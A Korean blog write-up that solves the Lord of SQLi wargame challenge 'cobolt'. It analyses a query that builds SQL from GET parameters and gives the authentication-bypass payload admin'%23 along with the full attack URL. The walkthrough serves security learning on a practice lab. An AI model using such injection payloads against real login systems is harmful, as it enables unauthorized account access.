Lord of SQLi | WebHacking.kr
Lord of SQLi(#2 cobolt)
Box Maker
2022. 12. 28. 21:28
1.문제풀이
1) 코드 해석
- 이전에 풀었던 1번(gremlin)문제와 차이점이 거의 없다
- 유일한 차이점은 다음구문에서 보듯이 pw를 md5라는 해시값으로 저장해서 데이터를 가져온다는 것이다
select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')
- 또 이 문제를 풀기 위해서는 다음 코드와 같이 id가 admin이라는 계정으로 접속하기만 하면 풀리는 문제이다
if($result['id'] == 'admin') solve("cobolt");
2) 문제풀이
select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')
- 이번엔 위 구문의 노란색으로 칠해진 부분에 admin이라는 값을 대입한다
- 그 뒤에 pw~~부분은 #주석으로 비밀번호를 검증하지 않게 처리해주겠다
- 공격 시 삽입 구문: admin'# // 주석인 #은 URL 인코딩때문에 읽을 수 없기 때문에 %23으로 바꿔서 대입한다
- 공격 후 구문: https://los.rubiya.kr/chall/cobolt_b876ab5595253427d3bc34f1cd8f30db.php?id=admin'%23
- 공격을 수행하면 결과적으로 SQL쿼리문에 다음과 같이 공격 시 삽입 구문이 대입되므로 공격이 성공한다.
select id from prob_cobolt where id='admin'#' and pw=md5('')
- admin이라는 id를 검증한 뒤 pw는 주석처리로 검증하지않고 바로 넘어가는 쿼리를 삽입한 것이다.